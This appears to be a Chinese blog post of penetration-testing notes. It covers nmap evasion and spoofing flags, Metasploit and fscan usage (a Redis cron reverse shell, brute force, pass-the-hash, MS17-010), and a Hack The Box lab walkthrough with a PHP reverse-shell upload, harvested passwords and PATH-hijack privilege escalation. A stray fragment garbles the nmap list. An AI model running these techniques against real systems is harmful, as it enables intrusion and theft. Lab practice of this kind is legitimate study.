一点渗透的零散知识

ps:东拼西凑的笔记,随便搬,反正我也是到处凑的

一、nmap使用

基本用法:

1
2
3
4
5
6
简单的扫描:nmap 目标IP 默认执行 TCP 扫描。
指定端口扫描:nmap -p 端口号 目标IP 例如,nmap -p 80 目标IP 扫描目标 IP 的 80 端口。
扫描所有 TCP 端口:nmap -p- 目标IP
快速扫描:nmap -F 目标IP 仅扫描最常见的端口。
操作系统检测:nmap -O 目标IP 尝试识别目标主机的操作系统。
服务版本检测:nmap -sV 目标IP 探测目标主机上运行的服务的版本信息。

扫描某特定网段:

1
nmap 192.168.4.18-99  #扫描192.168.4.18-192.168.4.99

其余参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
1. nmap -iflist : 查看本地主机的接口信息和路由信息 

2. -A :选项用于使用进攻性方式扫描

3.-T4:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4

4. -oX test.xml:将扫描结果生成 test.xml 文件,如果中断,则结果打不开

5. -oA test.xml: 将扫描结果生成 test.xml 文件,中断后,结果也可保存

6. -oG test.txt: 将扫描结果生成 test.txt 文件

7. -sn : 只进行主机发现,不进行端口扫描

8. -O : 指定Nmap进行系统版本扫描

9. -sV: 指定让Nmap进行服务版本扫描

10. -p <port ranges>: 扫描指定的端口

11. -sS/sT/sA/sW/sM:指定使用TCP SYN/Connect()/ACK/Window/Maimonscans的方式来对目标主机进行扫描

12. -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况

13. -script <script name> : 指定扫描脚本

14. -Pn :不进行ping扫描

15. -sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping

16. -PI : 设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。

17. -iL 1.txt : 批量扫描1.txt中的目标地址

18. nmap -sF -T4 192.168.1.0 探测防火墙状态

19. -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现

20. -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况

21. -sO: 使用IP protocol 扫描确定目标机支持的协议类型

22. -PO : 使用IP协议包探测对方主机是否开启

23. -PE/PP/PM : 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机

24. -PS/PA/PU/PY : 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现

25. nmap 192.168.1.0/24 -excludefile f:/1.txt #扫描除给定文件中的地址以外的其他地址

26. -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态

27. -e eth0:指定使用eth0网卡进行探测

28. -f : --mtu <val>: 指定使用分片、指定数据包的 MTU

29. -b <FTP relay host>: 使用FTP bounce scan扫描方式

30. -g:指定发送的端口号

31. -r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)

32. -v 表示显示冗余信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态

33. -n : 表示不进行DNS解析;

34. -D <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址

35. -R :表示总是进行DNS解析。

36. -F : 快速模式,仅扫描TOP 100的端口

37. -S <IP_Address>: 伪装成其他 IP 地址

38. --ttl <val>: 设置 time-to-live 时间
}
top hexo_run9. --badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或 IDS/IPS)

40. --dns-servers : 指定DNS服务器

41. --system-dns : 指定使用系统的DNS服务器

42. --traceroute : 追踪每个路由节点

43. --scanflags <flags>: 定制TCP包的flags

44. --top-ports <number> :扫描开放概率最高的number个端口

45. --port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数

46. --version-trace: 显示出详细的版本侦测过程信息

47. --osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)

48. --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统

49. --data-length <num>: 填充随机数据让数据包长度达到 Num

50. --ip-options <options>: 使用指定的 IP 选项来发送数据包

51. --spoof-mac<mac address/prefix/vendor name> : 伪装 MAC 地址

52. --version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

53. --version-light: 指定使用轻量侦测方式(intensity 2)

54. --version-all: 尝试使用所有的probes进行侦测 (intensity 9)

55. --version-trace: 显示出详细的版本侦测过程信息

56. nmap 192.168.1.0/24 -exclude 192.168.1.10扫描除192.168.1.0外的该网段的其他地址

二、连接

ssh连接

1
ssh user@hostname

进入伪终端:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

三、端口监听

1
nc -lnvp [端口号]

四、msf

Ubuntu安装msf:

1
2
sudo apt-get install curl
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

给予执行权限并运行安装脚本:

1
2
chmod 755 msfinstall
sudo ./msfinstall

启动控制台:

1
msfconsole

更新msf:

1
2
3
4
5
6
7
非kali环境:
msfupdate

kali环境:
apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade # 更新已安装的软件包,不删除旧包;
apt full-upgrade # 升级包,删除旧包

模块使用:

1
2
3
4
5
6
7
search xxxx		#搜索xxxx模块
use xxxx #使用xxxx模块
show options #列出配置参数
info #查看模块信息
set rhost #设置目标地址
set rport #设置目标端口
run/exploit #开始攻击

五、fscan

Ubuntu下fscan安装:

1.配置go语言环境

下载

1
2
wget https://go.dev/dl/go1.20.1.linux-amd64.tar.gz
tar -C /usr/local/ -zxvf go1.20.1.linux-amd64.tar.gz

将go二进制文件添加到$path环境变量

1
2
3
4
5
export GOROOT=/usr/local/go
export GOPATH=/data/go
export PATH=$PATH:$GOROOT/bin:$GOPATH
export GO111MODULE="on"
export GOPROXY=https://goproxy.cn,direct

重新加载 .bashrc 或者 .bash_profile 文件

1
source /etc/profile

2.安装fscan

下载

1
git clone https://github.com/shadow1ng/fscan.git

编译

1
2
cd fscan
go build -ldflags="-s -w " -trimpath

3.使用fscan扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
./fscan -h [目标ip] -o [输出的文件名]

fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

六、资产收集

1.fofa

一个功能强大的资产收集网站

1
https://fofa.info/

2.hunter

奇安信的资产收集网站

1
https://hunter.qianxin.com/

建议俩搭配使用

1.Hack The Box Oopsie靶机渗透记录

首先连接靶场VPN

然后查看自己的ip确认是否成功连接,并记录自己的ip

这里tun0的ip已经变成了10.10.15.250,说明已经连接成功

然后在靶场打开靶机

这台靶机的ip是:10.129.95.191

尝试能不能ping通:

能ping通,拿nmap扫个看看:

1
nmap -sV 10.129.95.191

可以看到开着22和80端口

上网页看看,顺手拿dirsearch扫一下:

1
python dirsearch.py -u http://10.129.95.191/ -e php

扫出来一个uploads,但是进不去,暂时没用

网页翻了翻也没什么有用的地方

然后翻看源码可以找到一个登录页面

可以看到有一个游客登录,上去看看

上去后有一个uploads,但是没有权限

在account中我们可以看到当前游客账户的用户名和登录id

同时我们可以发现这个就是我们的cookie

观察url可以发现,上面有个id=2,我们尝试改成id=1,发现成功登录admin账户

得到cookie:34322,我们把原来的cookie改成admin的

然后就可以成功进入uploads页面

把kali自带的反弹shell脚本拷到桌面

1
cp /usr/share/webshells/php/php-reverse-shell.php shell.php

把ip改成自己机子的ip

开启1234端口的监听:

1
nc -lnvp 1234

上传shell.php

上传成功

这个时候就要用到前面目录扫描到的uploads

直接进入shell.php,然后我们可以看到shell反弹成功

为了方便使用进入伪终端:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

我们在/var/www/html/目录翻找,可以在index.php中找到网站admin的密码”MEGACORP_4dm1n!!”,以及在db.php中可以找到系统用户’robert’的’M3g4C0rpUs3r!’

登录robert

此时其实我们已经可以看到第一个flag,就在user.txt里面

但第二个flag在/root目录,所以我们需要提权

查看用户id,发现用户在一个叫”bugtracker”的组

查看这个用户组可以执行的文件:

1
find / -group bugtracker 2>/dev/null

查看该文件详细信息,发现这是一个suid文件

注:suid文件在执行时不是以当前用户的权限执行,而是以文件所有者的权限执行

执行一下看看:

发现它调用了cat命令

我们可以通过在环境变量中创建一个调用bash的cat来替代原来的cat

执行该文件,提权成功

得到flag